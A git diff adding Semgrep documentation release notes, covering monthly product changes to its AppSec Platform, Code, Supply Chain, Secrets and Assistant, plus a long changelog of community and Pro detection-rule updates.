+- Added a new, public [ Semgrep Supply Chain API](https://semgrep.dev/api/v1/#tag/SupplyChainService) where you can filter and query third-party vulnerability findings by a variety of parameters, such as:
+ - Severity
+ - Repository
+ - Exposure
+- **C# reachability** is now **GA (generally available)**. Semgrep Supply Chain has added reachability rule support for all C# CVEs from May 2022 onward.
+- **SBOM export:** Add vulnerabilities enriched with reachability analysis to export SBOMs. {/* (#10879 ) */}
+- Dependency license scanning:
+ - Added support for NuGet (C#) license detection. {/* (10777) */}
+ - Added support for RubyGems (Ruby) license detection.
+- **Advisories:** Added a tooltip displaying the date when a CVE Numbering Authority (CNA) created the security advisory. [ CVE Numbering Authorities](https://nvd.nist.gov/general/cve-process) include the MITRE Corporation. These dates are not assigned by Semgrep, Inc. {/* (10743) */}
+
+ 
+
+
+### Changed
+
+- **SBOM (software bill of materials) export:** The name of the exported SBOM file now follows the following format: `sbom-----.` {/* (10850) */}
+
+### Fixed
+
+* **SBOM export:** Fixed an issue where SBOM export failed when encountering dependencies with empty names.
+* **Vulnerabilities page:** Fixed an issue where triage states did not update until a page refresh. Triage states now update as the user performs a triage action. {/* (10887) */}
+
+## 🔐 Semgrep Secrets (beta)
+
+### Added
+
+- Semgrep Secrets is now in **public beta**.
+- **Projects page:** Added a new column to display a Semgrep Secrets counter. This counter counts all secrets regardless of validation state. {/*(10588)*/}
+
+### Fixed
+
+- Fixed links to branches in GitLab self-hosted repositories. {/* (#10897) */}
+
+## 📝 Documentation and knowledge base
+
+### Added
+- Added Semgrep Secrets documentation:
+ - [ Conceptual overview of Semgrep Secrets](/semgrep-secrets/conceptual-overview)
+ - [ Getting started with Semgrep Secrets](/semgrep-secrets/getting-started)
+- Added [ Repository rulesets](/kb/semgrep-ci/github-repository-rulesets-semgrep) knowledge base article. This article explains how to scale Semgrep across many GitHub repositories.
+- Created an automated job to sync the help output of the Semgrep CLI tool with [ CLI reference](/cli-reference).
+
+### Changed
+
+- The [ Policies](/semgrep-code/policies) documentation has been improved.
+
+### Fixed
+
+* Various improvements to knowledge base articles.
+
diff --git a/mintlify-docs/release-notes/october-2024.mdx b/mintlify-docs/release-notes/october-2024.mdx
new file mode 100644
index 0000000000..c90489deb2
--- /dev/null
+++ b/mintlify-docs/release-notes/october-2024.mdx
@@ -0,0 +1,133 @@
+---
+title: "October 2024"
+description: "October 30, 2024 · 4 min read"
+rss: true
+---
+
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- Added a **Scan details** page and pane for all completed scans. Use this to troubleshoot or view information about individual scans.
+
+ 
+
+- The **Dashboard** now provides a **Teams** filter, enabling you to create views based on a selection of [Teams](/deployment/teams/overview#teams-beta) you are a part of. Click **Dashboard > Filters** to access the filter.
+ - By default, the Dashboard now displays findings from teams you are a part of. Your finding count may differ from your colleagues based on your Teams.
+- Added a Jira API endpoint to create Jira tickets, either by passing a list of `issue_ids` or filter query parameters to select findings. Refer to the [ Jira API documentation](https://semgrep.dev/api/v1/#tag/TicketingService/operation/semgrep_app.core_exp.notifications.ticketing.handlers.openapi_create_tickets).
+- Semgrep now supports [Move on Sui](https://docs.sui.io/concepts/sui-move-concepts), thanks to the contributions of the Sui team.
+
+### Changed
+
+- Various UI improvements to the **Settings > SCM** tab.
+
+ 
+
+
+ 
+
+- **Semgrep Managed Scans**: scans now follow fail open behavior, consistent with how Semgrep in CI behaves. Failing open means that Semgrep scans with internal errors do not result in a failed job.
+- The **Project details** page's **See findings** button is now a drop-down box, enabling you to select which product you want to view findings for.
+
+### Fixed
+
+- When a scan runs into an exception, Semgrep AppSec Platform displays information about the failure. Previously, within the AppSec Platform UI, it would appear to the user that the scan is still in progress.
+- Fixed a bug where Semgrep would crash if `--trace` was passed.
+
+## 💻 Semgrep Code
+
+### Added
+
+- Updated the C# parser to support all versions of the language up to 13.0 (.NET 9).
+- Developers can now triage findings by replying to a GitHub PR comment from Semgrep, without the need to log in to Semgrep Cloud Platform. See [Triage findings through comments](/semgrep-code/triage-remediation#triage-findings-through-pr-and-mr-comments) for more information.
+- Added an API endpoint you can use to triage findings in bulk, either by passing a list of `issue_ids` or filter query parameters to select findings. Refer to [ Bulk triage API documentation](https://semgrep.dev/api/v1/#tag/TriageService).
+- Taint analysis now supports tracking sinks through callbacks for all applicable Semgrep-supported languages. For example:
+ ```javascript
+ function unsafe_callback(x) {
+ sink(x); // Semgrep detects a finding here now!
+ }
+
+ function withCallback(val, callback) {
+ callback(val);
+ }
+
+ withCallback(taint, unsafe_callback)
+ ```
+
+### Removed
+
+- Removed support for Vue. The `tree-sitter` grammar has not been updated in 3 years and no community rules have been added. In theory, extract mode could be a good substitute to parse Vue files.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- Supply Chain now provides reachability analysis for Kotlin, including support for Gradle and Maven.
+- Improved support and flexibility to Python dependency parsing (public beta):
+ - Semgrep now finds non-standard `requirements.txt` names and parses them for dependencies.
+ - Semgrep parses lockfiles in a `/requirements` folder.
+- `cargo.lock` parser can now associate dependencies with lockfile line numbers.
+
+### Changed
+
+- Improvements to the **Advisories** page UI. {/* 16657 */}
+- **Dependency search**: the **Ecosystem** filter has been replaced by a **Language** filter. Several languages can share the same ecosystem, such as Java and Kotlin both using Maven. For accurate filtering, the **Dependencies** page now uses a **Language** filter so that you can view that language's packages from any ecosystem supported by Semgrep for that language.
+
+### Fixed
+
+- **Advisories** page: improved speed when fetching advisories.
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+- Users can now use Semgrep Assistant with their own OpenAI API key.
+ - Enterprise users can also use the following API providers:
+ - Azure OpenAI
+ - AWS Bedrock
+ - Google Gemini
+ See the [AI provider documentation](/semgrep-multimodal/customize#select-your-ai-provider) for more details.
+- PR comments made by Semgrep Assistant now reference the Git commits that it used to generate the fix.
+
+ 
+
+
+## 🔐 Semgrep Secrets
+
+- `semgrep ci` output now includes a list of all Secrets rules which generated at least one blocking finding. This behavior is consistent with that of Semgrep Code.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Documented new triage workflows.
+- Improvements to the **[Network broker documentation](/semgrep-ci/network-broker)**.
+- Updated [Supported languages](/supported-languages) with new languages and features.
+- Added new sections in [Semgrep AppSec Platform vs Semgrep OSS](/semgrep-pro-vs-oss).
+- Added a new knowledge base article: [FedRAMP Authorization Guidance](/kb/semgrep-appsec-platform/fedramp-with-semgrep)
+
+### Changed
+
+- Reorganized and clarified the following:
+ - [Semgrep Supply Chain](/semgrep-supply-chain/overview) documentation
+ - [How Semgrep's **Block** mode works](/semgrep-ci/configuring-blocking-and-errors-in-ci)
+ - [GitLab SCM connections](/deployment/connect-scm#connect-to-on-premise-orgs-and-projects) and MR comments
+- Broadened language around Semgrep Assistant AI now that Assistant supports various LLMs.
+
+### Fixed
+
+- Various fixes to mobile UI.
+
+## 🔧 OSS Engine
+
+- The following versions of the OSS Engine were released in October 2024:
+
+
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/october-2025.mdx b/mintlify-docs/release-notes/october-2025.mdx
new file mode 100644
index 0000000000..de0b9ee721
--- /dev/null
+++ b/mintlify-docs/release-notes/october-2025.mdx
@@ -0,0 +1,80 @@
+---
+title: "October 2025"
+description: "November 11, 2025 · 3 min read"
+rss: true
+---
+
+The following updates were made to Semgrep in October 2025.
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- Semgrep Managed Scanning is now generally available. With Managed Scans, you can add repositories to your Semgrep organization in bulk without changing your existing CI workflows, and integrate Semgrep into developer workflows through PR or MR comments.
+- Added a **Remember my email** checkbox to the SSO login page.
+- Added the ability to change the name of **Teams**.
+- The Semgrep CLI is now compatible with machines running Python 3.14.
+
+### Changed
+
+- The **Scan details** page now updates the URL with a permalink for easier sharing when viewed.
+- Semgrep's Docker image base has been upgraded from Alpine Linux 3.21 to 3.22.
+- `semgrep/semgrep` images now ship with Go 1.24.
+- Improved performance by preventing unnecessary data fetches when scan details aren’t needed.
+
+### Fixed
+
+- Fixed an issue where filtering findings using project tags doesn't return results.
+- Invalid CLI tokens now produce a clear error instead of a malformed success message.
+
+## 💻 Semgrep Code
+
+### Added
+
+- Semgrep Code findings now show Assistant's true or false positive analyses more prominently, along with which memories Assisted used during analysis. The findings also present the threat model for specific security issues in the context of the code, along with a summary of each issue.
+- The `/setup_semgrep_mcp` command now supports Claude Code.
+
+### Changed
+
+- Temporary files created for rule checks are cleaned up after scans.
+- The rule validation check now includes a language check to ensure that only valid languages are used, preventing invalid rules from being added to policies.
+
+### Fixed
+
+- Fixed an issue where some scans terminated with exit code 7.
+- MCP:
+ - Fixed tool calls failing for some models, such as GPT-5.
+ - Fixed a bug where resource closure errors occurred when trying to use the MCP with the `streamable-http` transport method.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- Supply Chain's reachability analysis now covers all high-severity CVEs from supported sources starting from 2017 for Go packages.
+
+### Fixed
+
+- Supply Chain subproject resolution table is now shown in the CLI output after a scan, even when no subprojects were successfully resolved.
+- UV lockfiles that include editable and local dependencies without versions are now parsed correctly. The unversioned dependencies are ignored.
+- Failures to parse UV lockfiles are now correctly reported as **Failed** rather than **Unsupported**.
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+- Added a new filter for AI component tags with **No decision**, allowing users to find findings analyzed by the Assistant, but not classified as **low** or **high** risk.
+
+### Changed
+
+- Assistant's rule generation functionality in Semgrep AppSec Platform has been deprecated.
+
+## 🔧 OSS Engine
+
+* The following versions of the OSS Engine were released in October 2025:
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/rule-updates.mdx b/mintlify-docs/release-notes/rule-updates.mdx
new file mode 100644
index 0000000000..07d777f646
--- /dev/null
+++ b/mintlify-docs/release-notes/rule-updates.mdx
@@ -0,0 +1,786 @@
+---
+title: "Rule updates"
+description: "This document includes selected new rules, removed or reduced number of false positives (FP) and false negatives (FN). These new rules and their updates are made by the Semgrep community and Semgrep, Inc."
+---
+
+
+
+**MAINTENANCE STATUS**
+
+This document is no longer updated. For updates, refer to the following sources:
+- [ Rules & Policies > Advisories](https://semgrep.dev/orgs/-/advisories)
+- [ Product updates feed](https://semgrep.dev/products/product-updates/)
+
+
+## February 2023
+
+### Community rules
+
+Thanks to [Sjord](https://github.com/Sjord), [@artem-fedorov](https://github.com/artem-fedorov) and [@gabriellesc](https://github.com/gabriellesc) for their contributions!
+
+#### New rules from Semgrep community and Semgrep, Inc
+
+- Improved coverage for security issues in Terraform:
+- Additional rules for weak ciphers in Java:
+- Additional rules for inline JavaScript and related security issues:
+ -
+ -
+
+#### Updated Community rules
+
+- Added and improved autofix for many rules
+- Improved patterns:
+ -
+ -
+ -
+ -
+ -
+ -
+- Improved accuracy:
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+- Improved rule message:
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+- Improved metadata:
+ -
+ -
+ -
+ -
+
+### Pro rules
+
+#### New Pro rules
+
+- Improved coverage for:
+ - Deserialization issues in Java
+ - Deserialization issues in Python
+ - Weak hash algorithms in JavaScript
+ - NoSQL injection in Java
+ - NoSQL injection in JavaScript
+ - ReDOS in JavaScript
+
+## January 2023
+
+### Community rules
+
+#### New rules from Semgrep community and Semgrep, Inc
+
+- Thanks [johnssimon007](https://github.com/johnssimon007)! New rule for empty encryption key in Python:
+- Thanks [johnssimon007](https://github.com/johnssimon007)! New rule for header injection in Python/Flask:
+- Additional rule for deserialization vulnerabilities in Ruby:
+- Ported regex-based rules from Gitleaks
+
+#### Updated Community rules
+
+- Thanks [@ben-elttam](https://github.com/ben-elttam)! FP reduction in Kubernetes rules:
+ -
+ -
+- Thanks [@artem-fedorov](https://github.com/artem-fedorov)! OWASP metadata fixed for too **many** rules to list here!
+- Thanks [ianmuscat](https://github.com/ianmuscat)! FP reduction with additional patterns:
+- Thanks [paisleyrob](https://github.com/paisleyrob)! FP reduction with improved patterns:
+ -
+ -
+- Thanks [rc-JoshuaZepf](https://github.com/rc-JoshuaZepf)! FP reduction with improved patterns:
+- Thanks [nightshiba](https://github.com/nightshiba)! FP reduction with improved patterns:
+- Thanks [Sjord](https://github.com/Sjord)! FP reduction with improved patterns:
+- FP reduction with improved pattern for taint mode:
+ -
+ -
+ -
+ -
+ -
+- FN reduction with improved patterns for taint mode:
+ -
+ -
+ -
+ -
+ -
+- Deprecated rules:
+ -
+ -
+ -
+ -
+
+### Pro rules
+
+The **Pro rules** are created by Semgrep, Inc and targeted for security and software engineers who need accurate findings. These rules were previously marked as Team tier rules (see the updates below). As of this update, these rules are called the **[Pro rules](/semgrep-code/pro-rules)** and are available with the [Team or higher tier](https://semgrep.dev/pricing).
+
+#### New Pro rules
+
+- New rules for hardcoded secrets:
+ - Database libraries for Java
+ - Database libraries for Ruby
+- New rules for JavaScript:
+ - Weak symmetric cryptography
+ - RegExp ReDos
+ - XSS
+ - Open Redirect
+- New rules for Java:
+ - SSRF in Java Servlets and Spring Framework
+
+#### Updated Pro rules
+
+- FP reduction with improved pattern for taint mode:
+ - Command Injection in Java Servlets and Spring Framework
+ - XSS in Java Spring Framework
+ - XXE in Java
+
+## December 2022
+
+### Community tier
+
+#### New rules from Semgrep community and Semgrep, Inc
+
+- Thanks [@aabashkin](https://github.com/aabashkin)! Added rule for MongoDB NoSQL Injection:
+- Thanks [@rc-mattschwager](https://gihub.com/rc-mattschwager)! Added Rust security rules:
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+- Thanks [@artem-fedorov](https://github.com/artem-fedorov)! Fixed typos, spurious spaces and other formatting mistakes in many rules!
+- Thanks [@nightshiba](https://github.com/nightshiba)! Improved SSRF detection in Flask:
+- New rule for OS Command Injection in Argo workflows:
+
+#### Updated community tier rules
+
+- Thanks [@mpast](https://github.com/mpast)! FP reduction in Terraform rules for AWS and Azure:
+ -
+ -
+ -
+- Thanks [@ItsIgnacioPortal](https://github.com/ItsIgnacioPortal)! Added external references:
+- FP reduction with additional sanitizers:
+- FP reduction with improved pattern for taint mode:
+- FP reduction with improved pattern for taint mode:
+- Reduced severity:
+- Added external references:
+ -
+ -
+ -
+ -
+
+### Team tier
+
+#### New and updated team tier rules
+
+New rules for hardcoded secrets:
+- Network libraries for Python and Java.
+- Database libraries for Python.
+- Generic secrets in JavaScript.
+
+- New rules for Angular.
+- New rules for SSRF in JavaScript.
+- New rules for Open Redirect in JavaScript.
+- Improve existing rules for React to cover more use cases.
+- Improve existing rules for hardcoded secrets to cover more use cases.
+- Improve existing rules for command injection in JavaScript to cover more use cases.
+- FP reduction for existing rules for SQLi in JavaScript.
+- FP reduction for existing rules for hardcoded secrets in Python.
+
+## November 2022
+
+### Community tier
+
+#### New rules from Semgrep community and Semgrep, Inc
+
+- Thanks [@Sjord](https://github.com/Sjord)! Added rule for links to plaintext URLs:
+
+#### Updated community tier rules
+
+- Thanks [@harmw](https://github.com/harmw)! Match variations of auth token:
+- Thanks [@keeganparr1](https://github.com/keeganparr1)! Arbitrary send ERC20:
+- Thanks [@lnobrega-canarie](https://github.com/lnobrega-canarie)! Allow a template variable in the nonce attribute of a script tag:
+- Thanks [@objectified](https://github.com/objectified)! Ignore cookies created by Spring's ResponseCookie builder:
+ -
+ -
+- Thanks [@kepten](https://github.com/kepten)! Update missing-integrity rule to handle HTML tags with newlines properly to reduce false positives:
+- FP reduction using taint analysis:
+ -
+ -
+ - Thanks to [@ianmuscat](https://github.com/ianmuscat) for reporting this!
+- Improve autofix by leveraging new [AST-based fixes](https://semgrep.dev/blog/2022/autofixing-code-with-semgrep/):
+ -
+ -
+ -
+- FP reduction using typed metavariables:
+- Support shebang contexts for finding dangerous command executions:
+- Filter localhost in Python rules for requests:
+ -
+ -
+ -
+- Added autofix:
+ -
+ -
+- Improved external documentation references:
+- FP reduction by adding support for matching tuples in Python subprocess functions:
+- Improve dockerfile rule to handle the `--frozen-lockfile` argument. Thanks [@ianmuscat](https://github.com/ianmuscat) for reporting this!
+- FP reduction Java cookie rules. Thanks to [@peter17](https://github.com/peter17) for reporting this!
+- FP reduction with improved patterns for `DocumentBuilderFactory`. Thanks [@coheigea](https://github.com/coheigea) for reporting this!
+
+
+**METADATA REQUIRED BY SECURITY CATEGORY**
+
+All security rules now adopt an improved set of metadata fields. These fields are required when you contribute to Semgrep Registry with rules in security category. For more details, see [Including fields required by security category](/contributing/contributing-to-semgrep-rules-repository/#fields-required-by-the-security-category) section.
+
+
+### Team tier
+
+#### New and updated team tier rules
+
+New rules for hardcoded secrets:
+- Database libraries for Python.
+- Database libraries for JavaScript and TypeScript.
+
+- Improve existing rules for hardcoded secrets to cover more use cases.
+- FP reduction for existing rules for hardcoded secrets.
+- FP reduction for Go net/http rules.
+
+## October 2022
+
+### Community tier
+
+#### New rules from Semgrep community and Semgrep, Inc
+
+- Thanks [@mtausig](https://github.com/mtausig)!
+- Thanks [@Sjord](https://github.com/sjord)!
+-
+
+#### Updated community tier rules
+
+- Fixed issue where false positives were reported with multiple consecutive `` tags in:
+- Capture additional case when `ssl._create_unverified_context` is reassigned indirectly:
+- Filter case when a `dynamic` block is used inside `aws_eks_cluster`:
+- Fixed an issue where the rule was not properly scoped to Azure resources:
+- Filter case when only static strings are used:
+- Filter case when the user input is used as an index to a map:
+- FP reduction by removing an unnecessary unanchored pattern:
+- Scope Laravel cookie rules to only scan inside files named `*session.php`:
+ -
+ -
+ -
+ -
+ -
+- Add additional taint sources:
+
+### Team tier
+
+#### New team rules
+
+New rules for the Laravel PHP framework covering the following vulnerability classes:
+- Code injection
+- Command injection
+- SQL injection
+- Path traversal
+- CSRF
+- Cookie security
+- XSS
+- SSRF
+
+New rules for Go net/http package covering the following vulnerability classes:
+- SQL injection
+- Command injection
+
+## September 2022
+
+### Community tier
+
+#### New rules from Semgrep community and Semgrep, Inc
+
+- 100+ new Terraform rules for GCP! Thanks @mertcoskuner!
+- Python crypto operations with HMAC. Thanks @luisfontes19!
+ -
+ -
+- Spring actuator rules. Thanks @malexmave!
+ -
+ -
+ -
+ -
+- Rule for persistent secrets in Docker images. Thanks @Sjord!:
+- Rule for GitHub Actions script injection:
+- PHP XSS rule:
+
+#### Changed community tier rules
+
+##### New metadata keys
+
+Semgrep, Inc is adding new metadata fields to better communicate the intent and importance of findings that a rule generates. The following list provides details about new metadata fields:
+- **Likelihood**: How likely is the impact highlighted by this finding to occur? Examples:
+ - Web application user input: HIGH
+ - OS environment: MEDIUM
+- **Impact**: How much damage can this issue cause? Examples:
+ - SQL Injection: HIGH
+ - Information disclosure: LOW
+- **Confidence**: How confident is the author that this finding is exploitable? Examples:
+ - User input + formatted SQL string + SQL sink + no intermediate function calls: HIGH
+ - User input + SQL sink: MEDIUM
+ - Formatted SQL string: LOW
+- **Subcategory**: A list of subcategories that allows the author to specify the intent of the rule. Current values are:
+ - **Audit**: This rule indicates the possible presence of a vulnerability, provided other conditions are present
+ - **Vuln**: This rule is specifically looking for an exploitable vulnerability
+- Additionally, language rulesets (such as `p/javascript`) have been altered to include only rules that match the following conditions:
+ - Subcategory: Vuln
+ - Impact: HIGH
+
+#### Updated community tier rules
+
+- PyYAML rule updated for modern versions of PyYAML. This can lower the occurrence of false positive findings. Thanks @shivankar-madaan: python.lang.security.deserialization.avoid-pyyaml-load
+- Added new case for C use-after-free where freed var is used in conditional. Thanks @zhengsidie. c.lang.security.use-after-free
+- Additional user input added. Thanks @jbergler! ruby.lang.security.no-eval
+- Reduced false positives by filtering safe attributes. Thanks @luisfontes19! python.flask.security.open-redirect
+- Filtered false positive cases from:
+ -
+ -
+ -
+ -
+ -
+ -
+- Autofix added to the following rules:
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+
+#### Deprecated community tier rules
+
+These rules no longer produce findings:
+
+-
+
+## August 2022
+
+### Community tier
+
+#### New rules from Semgrep community and Semgrep, Inc
+
+-
+- Thanks @securecodeninja!
+
+#### Updated community tier rules
+
+- Fixed taint source to focus on function argument in .
+- Updated various secrets-related rules:
+ - Added more patterns for hardcoded secrets in `express-session` .
+ - Added more import patterns to catch more cases .
+ - Changed from ERROR to WARNING .
+ - Updated to highlight smaller, relevant ranges of code:
+ -
+ -
+ -
+ - False positive (FP) reduction, updated in taint mode to provide more context:
+ -
+ -
+ -
+- Updated to work with multi flags such as `-yqq` in .
+- Updated to taint mode and added more filesystem sources .
+- Restricted sources to remove unlikely user input .
+- Added a pattern for `escapeHtml={false}` .
+- Added a pattern for detecting manual user-supplied inputs .
+- Updated to highlight smaller, relevant ranges of code:
+ -
+ -
+- FP reduction: updated to taint mode to provide more context:
+ -
+ -
+ -
+ -
+ -
+ -
+
+#### Deprecated community tier rules
+
+Semgrep does no longer match anything with the following rules:
+
+-
+-
+-
+-
+
+### Team tier
+
+#### New Team tier rules
+
+-
+-
+-
+
+- New Go rules:
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+
+- New secrets detection rules which try to resolve cases with hardcoded strings used as a secrets in code:
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+
+#### Updated Team tier rules
+
+Added more sinks for the following rules:
+
+-
+-
+
+## July 2022
+
+### New rules from Segmrep community and Semgrep, Inc
+
+New rules from Semgrep community:
+- Thanks to @securecodeninja!
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+ -
+
+New rules have been added with taint sources:
+-
+-
+-
+-
+-
+-
+-
+-
+-
+
+There are now 80 [team tier](https://semgrep.dev/pricing) only rules covering Java, PHP, JavaScript, and TypeScript available in the [Semgrep Registry](https://semgrep.dev/explore). These rules are designed to have higher precision and lower false positive rates.
+
+### Rule changes and updates
+
+- Added additional import scenarios for os.system
+
+- Rewritten with taint mode:
+ -
+ -
+ -
+- Updated precision of source with `focus-metavariable`:
+ -
+ -
+- Added additional filters for acceptable SSL policies:
+- Added sanitizers:
+- Added sanitizers, added constant string filter:
+- Uses taint mode to remove uninteresting sources:
+- Remove for loop case due to high false positive (FP) rate:
+- FP reduction by removing cases where user input is likely a number type:
+ -
+ -
+- Exclude Error and Exception classes from results:
+- FP reduction: more specific sources:
+- FP reduction by limiting to more specific cases:
+- Removed 1 case with high FP likelihood:
+- Altered behavior:
+ -
+ -
+- Removed FPs:
+ -
+ -
+- Removed FPs:
+- Fixed bug:
+- Removed FPs:
+
+Reduced severity to INFO:
+-
+-
+-
+-
+
+Limit sources to specific properties of Request object rather than all properties:
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+
+The `python.lang.security.audit.dangerous` rules have been reworked. All Python -dangerous- rules have had their confidence level changed to LOW. Renamed rules:
+- renamed to
+- renamed to
+- renamed to
+- renamed to
+- renamed to
+- renamed to
+- renamed to
+- renamed to
+- renamed to
+- renamed to
+
+Added to `p/default` (`p/default` are rules that run automatically with `semgrep --config p/default`):
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+
+Removed from `p/default` in Semgrep Registry:
+
+Expand the list with all removed rules
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+-
+
+
+Other:
+- Fixed message typo:
diff --git a/mintlify-docs/release-notes/september-2021.mdx b/mintlify-docs/release-notes/september-2021.mdx
new file mode 100644
index 0000000000..0e61962ae5
--- /dev/null
+++ b/mintlify-docs/release-notes/september-2021.mdx
@@ -0,0 +1,84 @@
+---
+title: "September 2021"
+description: "September 30, 2021 · 2 min read"
+rss: true
+---
+
+
+## Version 0.67.0
+
+### Additions
+
+- Support for break and continue in the dataflow engine
+- Support for switch statements in the dataflow engine
+
+### Fixes
+
+- Fix CFG dummy nodes to always connect to exit node
+- Deep ellipsis <... x ...> now matches sub-expressions of statements
+- Ruby: treat 'foo' as a function call when alone on its line ([#3811](https://github.com/semgrep/semgrep/issues/3811))
+- Fixed bug in semgrep-core's -filter_irrelevant_rules causing Semgrep to incorrectly skip a file ([#3755](https://github.com/semgrep/semgrep/issues/3755))
+- PHP: allows more keywords as valid field names ([#3954](https://github.com/semgrep/semgrep/issues/3954))
+
+### Changes
+
+- Taint no longer analyzes dead/unreachable code
+- Improve error message for segmentation faults/stack overflows
+- Attribute-expression equivalence that allows matching expression patterns against attributes, it is enabled by default but can be disabled via rule options: with attr_expr: false ([#3489](https://github.com/semgrep/semgrep/issues/3489))
+- Improved Kotlin parsing from 35% to 77% on our Kotlin corpus
+
+## Version 0.66.0
+
+### Additions
+
+- HCL (a.k.a Terraform) experimental support (see[this Terraform ruleset](https://semgrep.dev/p/terraform))
+
+### Fixes
+
+- Dataflow: Recognize "concat" method and interpret it in a language-dependent manner ([#3316](https://github.com/semgrep/semgrep/issues/3316))
+- PHP: allows certain keywords as valid field names ([#3907](https://github.com/semgrep/semgrep/issues/3907))
+
+### Changes
+
+- Constant propagation now assumes that void methods may update the callee ([#3316](https://github.com/semgrep/semgrep/issues/3316))
+- Add rule message to emacs output ([#3851](https://github.com/semgrep/semgrep/pull/3851))
+- Show stack trace on fatal errors ([#3876](https://github.com/semgrep/semgrep/pull/3876))
+- Various changes to error messages ([#3827](https://github.com/semgrep/semgrep/pull/3827))
+
+## Version 0.65.0
+
+### Additions
+
+- Allow autofix using the command line rather than only with the fix: YAML key
+
+### Fixes
+
+- Taint detection with ternary ifs ([#3778](https://github.com/semgrep/semgrep/issues/3778))
+- Fixed corner-case crash affecting the pattern: $X optimization ("empty And; no positive terms in And")
+- PHP: Added support for parsing labels and goto ([#3592](https://github.com/semgrep/semgrep/issues/3592))
+- PHP: Parse correctly constants named PUBLIC or DEFAULT ([#3589](https://github.com/semgrep/semgrep/issues/3589))
+- Go: Added type inference for struct literals ([#3622](https://github.com/semgrep/semgrep/issues/3622))
+- Fix semgrep-core crash when a cache file exceeds the file size limit
+- Sped up Semgrep interface with tree-sitter parsing
+
+### Changes
+
+- Grouped semgrep CLI options and added constraints when useful (e.g., cannot use --vim and --emacs at the same time)
+
+## Version 0.64.0
+
+### Additions
+
+- Enable associative matching for string concatenation ([#3741](https://github.com/semgrep/semgrep/issues/3741))
+
+### Fixes
+
+- Java: separate import static from regular imports during matching ([#3772](https://github.com/semgrep/semgrep/issues/3772))
+- Taint mode will now benefit from semgrep-core's -filter_irrelevant_rules
+- Taint mode should no longer report duplicate matches ([#3742](https://github.com/semgrep/semgrep/issues/3742))
+- Only change source directory when running in docker context ([#3732](https://github.com/semgrep/semgrep/pull/3732))
+
+### Changes
+
+- Add logging on failure to git ls-files ([#3777](https://github.com/semgrep/semgrep/pull/3777))
+
diff --git a/mintlify-docs/release-notes/september-2022.mdx b/mintlify-docs/release-notes/september-2022.mdx
new file mode 100644
index 0000000000..8817db1f3c
--- /dev/null
+++ b/mintlify-docs/release-notes/september-2022.mdx
@@ -0,0 +1,61 @@
+---
+title: "September 2022"
+description: "September 30, 2022 · 3 min read"
+rss: true
+---
+
+
+## Semgrep App
+
+### Changes
+
+- The Findings page has been updated with UX/UI improvements to its filtering and triage functions.
+- The Dashboard page has been updated with UI improvements.
+
+### Bug fixes
+
+- Previously, users could not receive merge request (MR) comments within GitLab repositories. This issue has been fixed. Users can now receive MR comments in GitLab from Semgrep App.
+- Update git URL parser to support optional organization after the hostname. For example `https://some.enterprise.scm/myorg/owner/repo`.
+- Various fixes and improvements to speed.
+
+## Semgrep CLI
+
+These release notes include upgrades for versions ranging between 0.112.0 and 0.115.0.
+
+### Additions
+
+- Exclude rules by ID using CLI flag `--exclude-rule`. To exclude a specific rule, use for example semgrep --config=auto --exclude RULE_ID. (Issue [2530](https://github.com/semgrep/semgrep/issues/2530), PR [5974](https://github.com/semgrep/semgrep/pull/5974))
+
+- You can now have multiple metavariables under `focus-metavariable`, which allows. Semgrep to highlight the values matched by multiple metavariables more easily in certain circumstances. For more information, see [Using multiple focus metavariables](/writing-rules/experiments/multiple-focus-metavariables) documentation. (Issue [5686](https://github.com/semgrep/semgrep/issues/5686))
+
+- You can add tags for specific projects in the Semgrep App on the configuration page of a project. With this update, you can create `.semgrepconfig.yml` file in the root directory of your repository and add tags in this file also. See [Tagging projects](/semgrep-appsec-platform/tags).
+
+- The Semgrep CLI output now displays non-blocking and blocking findings separately. CLI output also provides a list of the blocking rules that matched the code.
+
+- taint-mode: Experimental support for basic field-sensitive taint tracking. Semgrep can now track `x.a` and `x.b` separately, so that for example: `x.a` can be tainted at the same time as `x.b` is clean, hence `sink(x.a)` can produce a finding but `sink(x.b)` does not. It is also possible for `x` to be tainted while `x.a` is clean. As a result, the number of false positives that Semgrep reports is reduced.
+
+### Changes
+
